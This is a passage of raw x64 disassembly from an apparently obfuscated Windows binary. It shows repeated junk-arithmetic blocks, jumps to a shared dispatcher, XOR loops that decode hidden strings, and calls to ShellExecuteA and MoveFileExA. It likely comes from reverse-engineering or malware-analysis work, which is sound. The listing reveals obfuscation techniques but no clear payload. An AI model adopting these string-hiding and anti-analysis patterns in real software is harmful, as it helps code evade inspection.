call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x48]
call fcn.14018719a
test rax, rax
jne 0x140168c43
push rax
pushf
mov eax, 0xa69217ad
pushf
not eax
add eax, 0xb7269e29
xor eax, 0xd6277941
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xe8620de5
xor eax, 0x8a00f32e
rol eax, 0x45
popf
pushf
not eax
add eax, 0xaf6f3d42
xor eax, 0x8fa723b9
rol eax, 0x5e
popf
jmp 0x140167577
push rax
pushf
mov eax, 0xc47678ee
pushf
not eax
add eax, 0xd16f24c9
xor eax, 0x9f2b5d98
rol eax, 0x88
popf
pushf
not eax
add eax, 0xc80dde9b
xor eax, 0xf3579c07
rol eax, 0xaa
popf
jmp 0x140167577
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x50]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x140168c96
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
push rax
pushf
mov eax, 0x2730e502
pushf
not eax
add eax, 0xaeea067e
xor eax, 0xdc090745
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xdc21f4f6
xor eax, 0x93d5783e
rol eax, 0xe5
popf
jmp 0x140167577
lea r8, [rbp - 0x70]
mov eax, dword [str._ESY8]
mov dword [rsp + 0x30], eax
movzx eax, byte [0x140076fdc]
cmp qword [rbp - 0x58], 0xf
jbe 0x140168d1e
push rax
pushf
mov eax, 0xfa6f1bc7
pushf
not eax
add eax, 0xb0f49dc7
xor eax, 0xd17f4337
rol eax, 0xb
popf
pushf
not eax
add eax, 0x8a0f046f
xor eax, 0xb3f7c12f
rol eax, 0xb1
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x81af8898
pushf
not eax
add eax, 0x91b93707
xor eax, 0x999adbf6
rol eax, 0x57
popf
pushf
not eax
add eax, 0xbda756ae
xor eax, 0xfaadfc6d
rol eax, 0x69
popf
pushf
not eax
add eax, 0xc0c5253a
xor eax, 0xb0f4e72f
rol eax, 0x59
popf
pushf
not eax
add eax, 0xcf8b4623
xor eax, 0xb46af806
rol eax, 0x73
popf
jmp 0x140167577
mov r8, qword [rbp - 0x70]
push rax
pushf
mov eax, 0x77c80d6a
pushf
not eax
add eax, 0xaf8c178a
xor eax, 0xcb0cd250
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xd8c5f860
xor eax, 0xff72d95e
rol eax, 0x42
popf
pushf
not eax
add eax, 0x9fbabbc7
xor eax, 0x94963519
rol eax, 0x3e
popf
jmp 0x140167577
mov byte [rsp + 0x30], reloc.WS2_32.dll_WSAGetLastError
xor byte [rsp + 0x31], 0x35
xor byte [rsp + 0x32], 0x36
xor byte [rsp + 0x33], 0x37
xor al, 0x38
mov byte [rsp + 0x34], al
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, [rsp + 0x30]
xor ecx, ecx
jmp 0x140168df3
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x140168e48
push rax
pushf
mov eax, 0xb2544a54
pushf
not eax
add eax, 0xbe198420
xor eax, 0x80606302
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xa10eb138
xor eax, 0x80e67e78
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xf4df3c8f
xor eax, 0xc99ba389
rol eax, 0x6b
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x5e7c1e0f
pushf
not eax
add eax, 0xa295bd79
xor eax, 0x86fb4c22
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xa82885fa
xor eax, 0xe792fad2
rol eax, 0x47
popf
pushf
not eax
add eax, 0xdaf24d0d
xor eax, 0x99f5a851
rol eax, 0x4e
popf
jmp 0x140167577
movups xmm0, xmmword [0x140076e50]
movups xmmword [rbp + 0x1c0], xmm0
movsd xmm0, qword [0x140076e60]
movsd qword [rbp + 0x1d0], xmm0
mov eax, dword [0x140076e68]
mov dword [rbp + 0x1d8], eax
movzx eax, word [0x140076e6c]
mov word [rbp + 0x1dc], ax
movzx eax, byte [0x140076e6e]
mov byte [rbp + 0x1de], al
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140168f26
push rax
pushf
mov eax, 0x104f12a1
pushf
not eax
add eax, 0xec8863cc
xor eax, 0xcc438ad3
rol eax, 0x90
popf
pushf
not eax
add eax, 0xd2a9a35a
xor eax, 0xcf5b94d5
rol eax, 0x69
popf
pushf
not eax
add eax, 0x935f2819
xor eax, 0xbd1113a5
rol eax, 0x2f
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x7aedb0a9
pushf
not eax
add eax, 0xff287fb1
xor eax, 0xe30a88be
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xec759a9f
xor eax, 0xb68ab50f
rol eax, 0x53
popf
pushf
not eax
add eax, 0xc760c043
xor eax, 0xa9334d3d
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xe1be28ca
xor eax, 0xf32e09fe
rol eax, 0x7c
popf
jmp 0x140167577
movdqa xmm5, xmmword [0x140078170]
movdqa xmm4, xmmword [0x140078210]
movdqa xmm6, xmmword [0x140078190]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x1c4]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
push rax
pushf
mov eax, 0x26970013
pushf
not eax
add eax, 0xdf0b3ab5
xor eax, 0xb64ead57
rol eax, 0xba
popf
pushf
not eax
add eax, 0xf2bcd77f
xor eax, 0xe0f8a960
rol eax, 0x6e
popf
pushf
not eax
add eax, 0x804c90dc
xor eax, 0xaf2cb03d
rol eax, 0xf8
popf
jmp 0x140167577
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781f0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781f0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x18
jl 0x140169152
push rax
pushf
mov eax, 0x985abc6c
pushf
not eax
add eax, 0xf72b6d2a
xor eax, 0xe94745fa
rol eax, 0x45
popf
pushf
not eax
add eax, 0xa59ac46d
xor eax, 0x915c1fbe
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xeed5c956
xor eax, 0x988ff15e
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xcfda92d0
xor eax, 0x81804ff3
rol eax, 0xfb
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x140c9277
pushf
not eax
add eax, 0xe0e4765a
xor eax, 0xa43ea14c
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xd3bd3b6f
xor eax, 0x9816d4ea
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xfb39896e
xor eax, 0x814e699f
rol eax, 0xd
popf
jmp 0x140167577
cmp eax, 0x1f
jge 0x1401691e3
push rax
pushf
mov eax, 0x45371f13
pushf
not eax
add eax, 0xeaa6bf91
xor eax, 0x8c440109
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xef5295b8
xor eax, 0xb6c1c130
rol eax, 0x87
popf
pushf
not eax
add eax, 0xf0e07dad
xor eax, 0xfc8ae346
rol eax, 0x9a
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x591d657c
pushf
not eax
add eax, 0x9601a809
xor eax, 0xb65e7312
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xead986e7
xor eax, 0xb46f8535
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xaa61bc5d
xor eax, 0xce25505e
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xa581f753
xor eax, 0xfffa9b56
rol eax, 0xf0
popf
jmp 0x140167577
movsxd rax, ebx
lea r8, [rbp + 0x1c0]
push rax
not rax
sub r8, rax
pop rax
sub r8, 1
nop
push rax
pushf
mov eax, 0x2fa14aff
pushf
not eax
add eax, 0xcbc6ba56
xor eax, 0xb5470925
rol eax, 7
popf
pushf
not eax
add eax, 0xed47bec0
xor eax, 0xd6373871
rol eax, 0x43
popf
pushf
not eax
add eax, 0xe7c420de
xor eax, 0x96b4b606
rol eax, 0x71
popf
jmp 0x140167577
mov eax, 0x288f4c4f
pushf
not eax
add eax, 0xa27cd9bb
xor eax, 0xac533cf5
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xd7a5584d
xor eax, 0xc28eb601
rol eax, 0xb1
popf
pushf
not eax
add eax, 0x8c2fa4b0
xor eax, 0xcdc6e2e9
rol eax, 0x41
popf
pushf
not eax
add eax, 0x952a780e
xor eax, 0xf458fd2b
rol eax, 0xfd
popf
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul edx, eax, 0x35
movzx eax, bl
sub al, dl
add al, 0x34
xor byte [r8], al
jmp 0x14016930e
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1f
jl 0x14016934c
push rax
pushf
mov eax, 0x46448402
pushf
not eax
add eax, 0xa36b5275
xor eax, 0xd1d81573
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x9213e0c3
xor eax, 0x816be9ea
rol eax, 0xb
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x610fb330
pushf
not eax
add eax, 0xf057ff5c
xor eax, 0xd43628f9
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xe047efaa
xor eax, 0xe646cc29
rol eax, 0xa
popf
pushf
not eax
add eax, 0x9aa52822
xor eax, 0xd051999c
rol eax, 0x86
popf
jmp 0x140167577
lea rdx, [rbp + 0x1c0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14012c2c9
mov rbx, rax
jmp 0x1401693a9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1401693b5
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
jmp 0x14016a239
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rcx, qword [rbp - 0x70]
xor edx, edx
lea r8d, [rdx + 4]
jmp 0x14016942e
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x14016946f
push rax
pushf
mov eax, 0x5162fd4
pushf
not eax
add eax, 0xd923aecf
xor eax, 0xf82d7e41
rol eax, 6
popf
pushf
not eax
add eax, 0xeeaa64f6
xor eax, 0xb6aa362a
rol eax, 0x87
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x908360f7
pushf
not eax
add eax, 0x8fbf3a53
xor eax, 0xc453e3ab
rol eax, 0x50
popf
pushf
not eax
add eax, 0xf49a6c4d
xor eax, 0xbb5a30e4
rol eax, 0x8c
popf
jmp 0x140167577
movups xmm0, xmmword [str.qGDXJ]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140077060]
movups xmmword [rsp + 0x60], xmm1
movzx eax, word [0x140077070]
mov word [rsp + 0x70], ax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140169519
push rax
pushf
mov eax, 0x8fbacb5d
pushf
not eax
add eax, 0xb20feafd
xor eax, 0x8bfc7398
rol eax, 5
popf
pushf
not eax
add eax, 0xee0cdccd
xor eax, 0xde57535d
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xe75c4c3d
xor eax, 0x9a8b416b
rol eax, 0xba
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x77f7dfb8
pushf
not eax
add eax, 0xa6ca82ef
xor eax, 0xf98265a0
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xcf52a06d
xor eax, 0xc76932f7
rol eax, 0x8b
popf
jmp 0x140167577
movdqa xmm5, xmmword [0x140078170]
movdqa xmm4, xmmword [0x140078210]
movdqa xmm6, xmmword [0x140078190]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
push rax
pushf
mov eax, 0x9639f3d9
pushf
not eax
add eax, 0x8a3cd268
xor eax, 0x93545cda
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xd84b5e2e
xor eax, 0xe4702b57
rol eax, 0
popf
pushf
not eax
add eax, 0xf408367a
xor eax, 0xb338008d
rol eax, 0x1e
popf
jmp 0x140167577
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781f0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781f0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x14016970a
push rax
pushf
mov eax, 0x1a89aa8c
pushf
not eax
add eax, 0xd2654973
xor eax, 0xf6d67616
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xe6eca0e6
xor eax, 0xdec18b7d
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xf796fbda
xor eax, 0xb72dd72f
rol eax, 0x64
popf
jmp 0x140167577
push rax
pushf
mov eax, 0xc7e92974
pushf
not eax
add eax, 0x9ab779e8
xor eax, 0xba0d0886
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xb8512f99
xor eax, 0xf0a5ebde
rol eax, 0x7c
popf
jmp 0x140167577
cmp eax, 0x22
jge 0x140169788
push rax
pushf
mov eax, 0x2deb634d
pushf
not eax
add eax, 0xe48a51cf
xor eax, 0x828bd50d
rol eax, 2
popf
pushf
not eax
add eax, 0x983b7baa
xor eax, 0xc0ba0fff
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x8a1e9694
xor eax, 0xe9e3b27f
rol eax, 0xa6
popf
jmp 0x140167577
push rax
pushf
mov eax, 0xb7a01fee
pushf
not eax
add eax, 0xda0e0b06
xor eax, 0x9260529b
rol eax, 0xe4
popf
pushf
not eax
add eax, 0x89d59130
xor eax, 0x878d0f35
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x95771ddc
xor eax, 0xf97ea554
rol eax, 5
popf
pushf
not eax
add eax, 0xf658f56e
xor eax, 0xf4580968
rol eax, 0x65
popf
jmp 0x140167577
movsxd rax, ebx
lea r8, [rsp + 0x50]
push rax
not rax
sub r8, rax
pop rax
sub r8, 1
nop dword [rax]
push rax
pushf
mov eax, 0x47746403
pushf
not eax
add eax, 0x8c849ff8
xor eax, 0x878d0681
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xe903cc0b
xor eax, 0xe9c70527
rol eax, 0x23
popf
pushf
not eax
add eax, 0xe06b0b54
xor eax, 0x94b7cafc
rol eax, 0x95
popf
pushf
not eax
add eax, 0xa12c3924
xor eax, 0xb8ed3e57
rol eax, 0x3b
popf
jmp 0x140167577
mov eax, 0xf37a59c8
pushf
not eax
add eax, 0xe3430d1e
xor eax, 0xc52af0b6
rol eax, 0x59
popf
pushf
not eax
add eax, 0xd1ed1d2e
xor eax, 0x8ca98c72
rol eax, 0x14
popf
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul edx, eax, 0x35
movzx eax, bl
sub al, dl
add al, 0x34
xor byte [r8], al
jmp 0x1401698a0
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x22
jl 0x1401698de
push rax
pushf
mov eax, 0xea801ba5
pushf
not eax
add eax, 0xb162c765
xor eax, 0xb1951f9f
rol eax, 5
popf
pushf
not eax
add eax, 0x9be12a81
xor eax, 0xace12672
rol eax, 0xd2
popf
jmp 0x140167577
push rax
pushf
mov eax, 0xb35a09db
pushf
not eax
add eax, 0xeb1a3d37
xor eax, 0xad3b227b
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xe2135b1f
xor eax, 0xbb5fd6d6
rol eax, 0xf2
popf
jmp 0x140167577
lea rdx, [rsp + 0x50]
jmp 0x140169399
movsd xmm0, qword [str.pG_A_K]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x140077008]
mov dword [rsp + 0x48], eax
movzx eax, word [0x14007700c]
mov word [rsp + 0x4c], ax
movzx eax, byte [0x14007700e]
mov byte [rsp + 0x4e], al
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1401699e6
push rax
pushf
mov eax, 0x32d3f25d
pushf
not eax
add eax, 0xed76b7f3
xor eax, 0xa6fe1656
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xdbfeb5d3
xor eax, 0xd9fca46b
rol eax, 0x32
popf
pushf
not eax
add eax, 0xaa8291a3
xor eax, 0xd015df32
rol eax, 0x29
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x99881b8c
pushf
not eax
add eax, 0xf92a97c0
xor eax, 0x83cacdd4
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xe7f405ae
xor eax, 0xaf9320b2
rol eax, 0x29
popf
pushf
not eax
add eax, 0xf82c20c8
xor eax, 0xf1bc8a80
rol eax, 0xa3
popf
jmp 0x140167577
movdqa xmm4, xmmword [0x140078210]
movdqa xmm2, xmmword [0x140078170]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140078190]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781f0]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.pG_A_K]
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x140078180]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140078190]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781f0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
mov r8d, 0xb8ea6ed
pushf
not r8d
add r8d, 0xf45c87bb
xor r8d, 0xf633f78c
rol r8d, 0x45
popf
pushf
not r8d
add r8d, 0xb9667b43
xor r8d, 0xd8a3931f
rol r8d, 0x4b
popf
push rax
pushf
mov eax, 0x58411636
pushf
not eax
add eax, 0x9bdce538
xor eax, 0xa386c570
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xf57056ee
xor eax, 0xfc0934c4
rol eax, 0x66
popf
pushf
not eax
add eax, 0x99dd5a4c
xor eax, 0xb436a688
rol eax, 0xd8
popf
jmp 0x140167577
movsxd rax, r8d
lea r9, [rsp + 0x40]
push rax
not rax
sub r9, rax
pop rax
sub r9, 1
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0xac40139d
pushf
not eax
add eax, 0xfc9ac865
xor eax, 0x92127e38
rol eax, 0x10
popf
pushf
not eax
add eax, 0xa05485e0
xor eax, 0x99bb3cc6
rol eax, 0x51
popf
pushf
not eax
add eax, 0xd21d1e51
xor eax, 0xd6b1740b
rol eax, 0x41
popf
pushf
not eax
add eax, 0x9541f073
xor eax, 0x89a68f7e
rol eax, 0x92
popf
jmp 0x140167577
mov eax, 0xb4da938b
pushf
not eax
add eax, 0xfa91325d
xor eax, 0xe8bd002b
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xa8286608
xor eax, 0xaef9851a
rol eax, 0x1a
popf
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140169cb1
push rax
pushf
mov eax, 0xb1fe233c
pushf
not eax
add eax, 0x8196a35f
xor eax, 0xcc5cacb1
rol eax, 0x21
popf
pushf
not eax
add eax, 0xb6121551
xor eax, 0xaebabc2a
rol eax, 0x10
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x239692b
pushf
not eax
add eax, 0xb8d922d6
xor eax, 0xad4a6843
rol eax, 0x14
popf
pushf
not eax
add eax, 0xdc1d5c37
xor eax, 0xd98b9ed9
rol eax, 0x47
popf
jmp 0x140167577
lea rcx, [rsp + 0x40]
call fcn.14013c175
jmp 0x14016a299
movups xmm0, xmmword [str.a_WUT_]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140077098]
movups xmmword [rsp + 0x60], xmm1
movzx eax, byte [0x1400770a8]
mov byte [rsp + 0x70], al
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140169daf
push rax
pushf
mov eax, 0x9f29835
pushf
not eax
add eax, 0xc72ba2a8
xor eax, 0x8f3a962b
rol eax, 0x73
popf
pushf
not eax
add eax, 0xc6672941
xor eax, 0xe39d99f0
rol eax, 0x5e
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x66fe4a43
pushf
not eax
add eax, 0xc465b7b9
xor eax, 0xd076fca5
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xaf98bf97
xor eax, 0xdc684cf9
rol eax, 0x44
popf
pushf
not eax
add eax, 0xca12135d
xor eax, 0xb025e508
rol eax, 0xd9
popf
jmp 0x140167577
movdqa xmm5, xmmword [0x140078170]
movdqa xmm4, xmmword [0x140078210]
movdqa xmm6, xmmword [0x140078190]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
nop
push rax
pushf
mov eax, 0xa2331574
pushf
not eax
add eax, 0xfcc5ac86
xor eax, 0xbb7ede55
rol eax, 0x82
popf
pushf
not eax
add eax, 0xd7dec454
xor eax, 0xc5be3629
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x9c6f1b28
xor eax, 0xf305e994
rol eax, 0xb7
popf
jmp 0x140167577
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781f0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781f0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x140169faf
push rax
pushf
mov eax, 0x94a425cc
pushf
not eax
add eax, 0xe8a7898f
xor eax, 0x80b23935
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xbfe962ad
xor eax, 0xf98cfc56
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xebecd9ca
xor eax, 0xc3688b1d
rol eax, 0xcf
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x7f109bd9
pushf
not eax
add eax, 0xf4be5acb
xor eax, 0xe4135717
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x9f7a4093
xor eax, 0xf1976428
rol eax, 8
popf
pushf
not eax
add eax, 0xcb96f8d3
xor eax, 0xba003cf7
rol eax, 0x74
popf
jmp 0x140167577
cmp eax, 0x21
jge 0x14016a053
push rax
pushf
mov eax, 0x287add56
pushf
not eax
add eax, 0xa31010e1
xor eax, 0x8fd0ad3e
rol eax, 0xae
popf
pushf
not eax
add eax, 0xe8ca4dde
xor eax, 0xdd270fa8
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xdd106942
xor eax, 0xd3dc9f46
rol eax, 0x52
popf
pushf
not eax
add eax, 0xf07dd216
xor eax, 0x8992a74b
rol eax, 0x85
popf
jmp 0x140167577
push rax
pushf
mov eax, 0x49b1d27
pushf
not eax
add eax, 0xd342fae9
xor eax, 0xac417567
rol eax, 0x67
popf
pushf
not eax
add eax, 0xc18b42bf
xor eax, 0xb56ab55d
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xb9cf9144
xor eax, 0xd15e2600
rol eax, 0x29
popf
jmp 0x140167577
movsxd rax, ebx
lea r8, [rsp + 0x50]
push rax
not rax
sub r8, rax
pop rax
sub r8, 1
nop dword [rax]
push rax
pushf
mov eax, 0xfb8ddcac
pushf
not eax
add eax, 0xe897dea7
xor eax, 0xed10c1e2
rol eax, 2
popf
pushf
not eax
add eax, 0xacdc5221
xor eax, 0xcbdbbc72
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xdaec8912
xor eax, 0x9c346e46
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xec476fc8
xor eax, 0xfa6e53dd
rol eax, 0x60
popf
jmp 0x140167577
mov eax, 0xdb95997e
pushf
not eax
add eax, 0xee6900c0
xor eax, 0xb8e88678
rol eax, 4
popf
pushf
not eax
add eax, 0x97a00341
xor eax, 0x8877a56f
rol eax, 0xe5
popf
pushf
not eax
